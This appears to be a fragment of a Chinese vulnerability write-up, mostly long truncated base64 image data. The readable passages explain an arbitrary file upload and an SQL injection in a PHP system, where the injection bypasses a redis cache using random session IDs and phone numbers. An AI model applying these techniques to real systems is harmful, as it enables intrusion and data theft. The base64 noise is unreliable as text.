KmNlhdFBTlExvooKvfRkFhFpKsIz0zhwy3idbmFsIJmaz8IozJAF3dPSRlE7n5BUhRH109fSRH6pJ1brxOPd4sD0NdHfT5ZEonVbAtpxidMUFLSwdJ2Y3Hricte1eZ8GG/Bj+Kvp4e+npewO50HrSc0eYmvzCP2EA7Xb0+jHYvefmZhPo76e3348jMwqjqSXdDS2+M/DwvfS3NhDQ7DoNMeradrp4hvBnZxAZa6RqKYPdkkpvhYrCng35fmKySfNSQhNcl0bSzlfgYb1kNO9k5DmxWM61twzi0YYYSGllZmfT0DJI/Pnevz1N3cQ03r/Twwz+/TlvdRpSggfxxuSRjZozRXnyag1yvjvraZhS9mZyCfGxqkObWbhKj+x/78zQnmAHeNDobGhmOyOSWZiDjQB/rp6Orj8Sx/u1XAk+pB1uWjY53O9A0DbPHgsVroW9LH2pydwANmz4gHDKRW5aJErNgZYjWjn5USU96Th5ppiQlZQXUAQaLi/ziAhIDbXT2+rCmZyMNd+HHRY4zSfdg6rUpyV7yMpMMWbMI9LbTF0gw/azrMG77K2+tbiKtOBOwg7+dqDGddGuchoZhimvKeU8G8du4IJy+TlCOV0flnPlkIaHXWwhFAzCaMFIwWp14vV68XjcH+nHa7/Nz/oUXAbBk2XIiodDYBQVBOGmYnHkEe7agN7sYbn6LQMc6emufAjT8HeswWPf+9XriuedT+9yf8KXPAUDTFXP9WRNoaR1m2hmTAIllN32G8c4wmbOu5VOLvDQMlnHZGaVULljKOIuDy77wRSzRHgrOuJallTaCA1tZujT7oHH6+rezYvlBykjpXPvZT6N1N8CECzhrRvHIcj0r774HT7wHLX8Ot6woBkMxi8bZaOzUc/kN52FLn8KNs500dcapqi4Bg4dzZnZR15m66W1Z9ywPro1yzhe+iSPchVyykOuXFGKwTOG2C8fR0Z3gipuuQVUSdPsT9Hb1kCCLq2+7gXhnHXElm+sumkV7cw/zrr17v5YfJvt4blqYTlOrnwuvugKwcMkX7yEj2cVQMDlSSsfKu+/BG+/BWLqI6xdkpM6/nMOi2aU0tfq5+qu3YTRO47zJLtoDVpYtHIfOOpcVJSpdsXQW7DonAFIRn7rzckLtLXgW3U5Vmh1Io7BAR28sg69cUg5SCbfdeRmhthbSF9/OBLf1oM/R0WCy5yJJMlk1V9C14e90b36YoeY30DQFR84htCiQa/jOt25goL6e8Vf9JxWm1G8mmpzOp7/5VTq3bqHimu+ysDKNkukrmePsZ3NPFbcsKWfOZXewMjdAs89JqSN1rGZnNtOnT2f69OlYDDD7wiuptjBSZzFfuH4+O3d0cMHnv79XGKUzL+KOWQY2N0l8485zR5ZaufQrn8XfsoXJl9/B/KwcvvbrL1Nfu4OlFy7Fqivli9+8kc1bG7n0qiWYR2uzcOMPfkOlZYgh9yy+eftiQGbO4kKamob55Be/DJKVW378W8aZBhn2zuUbn1x0wFMUCgVpbKhn6Yqz8fuG6evvPdSnZy+O7CnEAj1YvKV0bXyAYNdGBne+BEDM37lX2aLyYp7+x9uoGkjRTu5/4Gkyy+dz/XQjjR1RbrzuHGQ8XHn3nai9TZx9238wOy+JnLeIswt1rLj185TbA+TPv5FbFrjZOVjBJfMKqV56OQvz4rT6rXz52pnIUgHX33wBw929LPvcT8h269nWEGHKFPdBj2XLzhiTJx2kjFzGnbdfgK+1lcIVn6Ro1+tKcnH5bbfQ09BA/ll3MKPURU7lHCbZfewcKOHC2UVMXHLine truncated
<p>所以这套系统只要存在 <code>$upload-&gt;exts =</code>​ 这个的上传接口 就存在任意文件上传</p>
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191255-fd79095a-d497-1.png title><img src=data:image/png;base64,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 truncated
<h2 id=toc-4>SQL(绕redis缓存)</h2>
<p>直接看前台控制器了​​</p>
<p>找到这个路由存在sql的问题</p>
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191304-02c9e0be-d498-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABHgAAAJ5CAYAAADVfofcAAEAAElEQVR4nOz9d5ReV3rfe373CW9OlXNGIWcCBEgwxyabndWtliy3ooNkX9+5d2zPeHyD7511vZbGY49lSQ6617Jyq9WtltRqNtnMYAQJImcUCpVzvW+9OZ00f1QBKGQwokA+n7Wwmqxzzj77hEKv8+Oz91aVcsFDCCGEEEIIIYQQQtyxtNvdASGEEEIIIYQQQgjx0ajOrt7rVvBEY3HK5RJWtfpp9umGvvTNn6OxuQXbthk8c4o3X3nxqn08s4WNd7VTGjzLaKaWux5eT6SSZWx4HCfWQ09LmeOvH6CUWEN/V5Wz700R7e+lRs0zeK5K17YOrPFBRpMxtt7fzOTbh5gsVbnyRhmRBjp6+vHP7+f0lHV5H3yd3HVfG6n9hxnNlXA/wXsihBBCCCGEEJ+GUCiM6fORSS/c7q4IIZYMnDkG3IEVPO+//QYL83PMTI5z8uihWzvI0Jk/8y4Dw0MMHn+Dc+kmejtjH74TSsP0B/D7/RiGjmEG8Pt9GPoddzuFEEIIIYQQQgjxGWDc7g7cKt0wCIZC2LbD4QPv4jouSmmEwmHKpRKue4MaGS9DJuMuVeC4LGRy9AbDkP0wPVEYvlr6dt5Fc9CHPxBEa4pQ15FkdPAMI9MZqdYRQgghhBBCCCHEp+qOCXjau7rZdvc91NU3XPyZbdtMjI5w5P13mZuZvv7BWoRY1EQVbdB8xKMBKrnKh+yJh11JMvDeK4xE6mnrWoVv/iAD02Uc25FwRwghhBBCCCGEEJ+6OybgidfUUsjlKObzl/3csS0isdiNAx7XIN7STqObxQvU0RTMMXkuDYGG6x9zQx5O1cIqVygVcjilCpblfMi2hBBCCCGEEEIIIT6aOybgOfr+e7e8r3JLZOaTVMvVxYoaO8lcPkpzRw2a5pE5f4SxBQszkSY5b2N5FqVsCqUKOJ5DNpnEKVVx3QLJ6XlKzrXrcpxKnuTkEFr16nBHuQVS03PkbQl+hBBCCCGEEEII8cm6YwKeD8RJM34uDYDnA7DJjBxlGg3NqeC4CgA7PcrQ4m6UpkZILR0+eT6z9E8Fzp+Yv+5pPKdKOX+dFcbsJMMnkx/xQoQQQgghhBBCCCFu7rMZ8CznlsimMlQ9F8+2cVC3u0dCCCGEEEIIIYQQH6vPfMCjnAVGB/JUrzPMSgghhBBCCCGEEOJO95kPePAqFDIfdsUsIYQQQgghhBBCiJVPu90dEEIIIYQQQgghhBAfjeHzB6+7UdN0DMOHUvqn2CXxebJ20yYef+JJEqHrv4crScW2ef/oMV559se3uytCCCGEEEJ86gzTh64b3Og7UghxexiadoPwRik0TcfzPr0Oic+XztZ28nY9f/3C8O3uyi3paomxa/0GXnvuudvdFSGEEEIIIT51Smmope9EIcTK8tmfg0esaIauKBSrDE+kb3dXbknAp+NbF7/d3RBCCCGEEEIIIS4jc/AIIYQQQgghhBBC3OEk4BFCCCGEEEIIIYS4w33mAx7T0Ano6qqfK6UwTYOIf/FP0NCueTNcD/o3ruF/eaSZpo95MiKlFD7TILzUB7+uuLqnHz9N1wma175ez4OOvm7+yYPtrAvrt+UFUbqJbnyAMb1KQzNNNO2D99bzFGbLJjr27KG2MXbxepXhQ/cHMPwBdL95/eeidHw1Xdz1xM/y5T191IcXf1y/6+v88jcfpb/WxzVePyGEEEIIIYQQ4mP1mZ6Dx/VM7r9/M9vnTvG7p4qUnEvb/MEAD9y9ka+06vhMh6GBMb77zhRD3uVf4wqFz9TRDR3fx9o7RSxRw1N3d3FPrQ/DK7Lv0CjPnsmQ+ljPcwXDpK2/m19rL/BfX5hgVF2ZPihMQ8MwdHx8OoHTlQLrnqSndpRz752kWrZvur8X66Flew/u8HHmhqa5+RHLKIUyNJRpoNSlgCi44Wl61tZjmH50c5yhP/xrFtwr74ZGsGkdDz2+hy41wbuvJcmVF7csnD3MmdYn+fl/vIqX/usf8s5EGfeD9EsIIYQQQgghhPgA7oCARxGLhQg5Fq5pEtKhUqkwn7exANM0iQd1qsUyWRsMn486H+TLFjlrqQlNpyEeRlNQrVSYy9tUSmVef+cIBwIBNvU3sfka6U0wFKQ+qFMaG+MPhitMXxGG6IZBIuwjbCg82yFbqpKrurf2Ia+ZNNQm6DZy/PWLYxwrOZQqDiUUkXCAkFdloexguRAIh2jWqgznbDRNJxEN4HMslGli4pArVslWXJyl+xUM+kgEDHwaWJUq8wWLqgfKH6ArEaA5YhLwBWhviGJ4LtlChVTZwQz4qQuZkJzjr+aqzJQdlmViKE0nEfETNRWe45AvVclUXFwUwYCPiKnQNIVP1/Bsi2TeouTevOrJUzp6MIoZCKC8CoZxRSWOMjAiMUyfgXIt7FIeq2zhaSZGKIpZk8AMBPFitQTrXRynRDlbwHVcUCZmJIph6igc7FIOq2ThAcoM4o9EMUrTzB8dwcrnLz674skXODOgILqNNU/XXbvjvnrWbtlEs3WOl158g3PJ6sVNzsJ53vzh7zPj/hO+880HGPztnzLtSCmPEEIIIYQQQohPxooPeFzPYPfd67nXmmXciNIWMfAKaX70zgiHC4q6ujq+uCnB2JFTvDCrqG1p5ue7dd46NcG+mcVwwR+v5cn6CK0RH6qU4odvjXK06FGuVCm5OlnLxbtGwNPc0crX+qLURIL0uVP80+8PMbkU8ijdoL2tmafW1dBgKLAqnBma5rWhDLPW1W1dpBRmIEhffZjuej9BZRPwB2n2OaSzZSo52Ly5jx2Vcb5/Ms1UGTrXr+VfREf45VeSmL4QTz+4ge6FaTKhGPU+h5GRKZ4/lWLSAl84wr3rW9jeECCowKnkeHn/KPsyDmZ9E9/ZWUskEKDRF+Wre+JUKwXeOzvBTwcL1DXW89SaBroTftpJ8ds/HeJI1r4Y8iQaG/jmlkaaDfAci9HJWV48lWTC0ujr6+CxVh+e7RAMBwm7OV5+b5Q3kxb2TTIeLdRIzcY2aptieKVZykTRl8IQD9BrV9OyfS1Bv45yy5SnB5g9cYailiCyaivNvW34IwGI1RDuruJmBxh59xilooXesIaWLasI+EyUW6WSPMfskZMUKx5GvIXajTtI1IXxafNMvfM28+PJxZDHKmJb4Jplrtd9X30L7Q0GyYEhJpaFOxevS1UYeOl1pv7nR9jS9FOmJ298H4QQQgghhBBCiA9rxQc8F8SCHof2D/CsFuWL9/bxhd5ZDh8t3+Kx8OKhQX7khnnm/n6e6Z3l6PHSTY8bGxzm/xrV8HX28W82XP6ZHwgG2baqnvD8GH86WCbe0sDu+jhdyQKzyRsNElKEEgme2FhPYzhAvd/l3s1+Cm6ZY2emyeQqN+2XrgFWgRf3zxFpbeahljrWz2aZmHJo72xiZ9zhwLFBjucN7trSzSPdQfYdyVOdnuB3X52jraeDn20u8b03ppnwXMqWQ0XBzMQ035udxd/Szv+47vJzeuhs3dhJZ2GYPzyew9dQzyPdjexIZZkYX6x7CZkupwYnOZA12L2jl4d75tmfzmLfJOHxN7UTy8ySPfUGC2kfiS2tsDQFj+f5iW+9n0jxFYbfnYVYBw3r1lPfNsHoUIrMqTcpTPfSsqkTd/wMydFZbLeKXa7ieRr++hb05Ckmz09jB1tp2LKZurYRiufzWKlRZt6ZYr5+De1rr1OlcwPBcJCQ5zJTyHHdtyk/wlSmlvomAyad6+0lhBBCCCGEEEJ8JHdMwLMwPc/RhQq2V+W96U5+MRZAXf+z+jLp2STHU2WKTpm3prr5jZogitJ1KzMusG2HrO2gV10un19Z4Tf81Podzo4lOb8AZsWlFDPJl2/SqueSnZ3mj97MsKqnhcdaLF56a5LzLlSqNsVbeCS2ZTM5neJ0yqHGyLK+to5IwAQ0GiMm+YVZTs8XmCrBq8fGyAUclOfhOTbJgiJUcbEdm3S+QnLZsDPHccg7DqWqg+NdPsmxUkE644rBs7MMpCHkZRlpiFAX8YO3+Bzy6Txn5/OMZj1801V2xQPoKnvT6zEDGm5hlsLsFOUc5Oa3UFdzYWuUcIMfZ8RHuKUdZYZQGJjRGMrL4VVKVEtlHNvCLRexCvmLc/Ao5VIaOUKqqRZ/UztBM4iOgREJA3lwbdyKjVut4t7CULIr6ZqGUuA6NwpuKti2hs9nAhLwCCGEEEIIIYT4ZNwxAU/Vdi6GLBXbQfnULa/wZNnuxTCnYrnoAbUYeFw1wfCtUmhKx9A8bNcDFFaxxOnirQVOnuOSLlpkKy6W7ZArVEl5l4Yk3fR4z8NyFqtmXM/D9Tw0BaBh6grH8biQVxSSKfYCfOhrvUDHZ3iU7MXrdbzFaze0SxMx266Lu/SQbNdF0y6c98ZXpTQPz3PwXFCA57pcStR0NB2MWAvhC5lTfpxcqnjTHntESWzaTVO0TLnsojQTf0DD+RCrbX14Mu+OEEIIIYQQQohP3h0T8Ji6djEr8BkanuvhciHgUOiahoeHrim8pdDjAkPXLn5m+wwNx10W7niA591SsLKc57k4rsJYTFYwgwF6oiaFfJGJ4kep1PCwHQ9tqTrEW+pz1b6VqZtdbNdDV2op8IFQTYJtgTJvTZY+YsjjYDkKY2nNb02BrimcD1H5ciXPU6BpKG3xepWmLeuri+t4FAffZmLcW1r1ygSrsKyB67Tra6F+dZzSy3uZTFZR/ii12x4j+oE6d/1NjuPgoTCMxWXUr71riEDAplK50cRMQgghhBBCCCHER/NpljJ8JImGWtbGfTTU1LCtwSSZK+Mpj3K1St426GpM0JWIsKYhiO5YFCuLine truncated
<p>在这个代码里头,可以发现 <code>$count</code>​ 跟 <code>$listJson</code>​ 是关键</p>
<p><code>$count</code>​的设置是为了不频繁查询,所以这里只要设置随机伪造的PHPSESSID就可以了</p>
<p><code>$listJson</code>​ 的设置就尤为关键了 if (!$listJson) 这里的语句是 我的redis去查phone就是要查不到 为null才能执行下面的sql语句,所以phone就是要不存在的手机号才行,所以就直接随机phone就可以了,但是他在后续的代码中把这跟手机号给设置进了<code>redis</code>​中</p>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191312-07eb8020-d498-1.png><img src=data:image/png;base64,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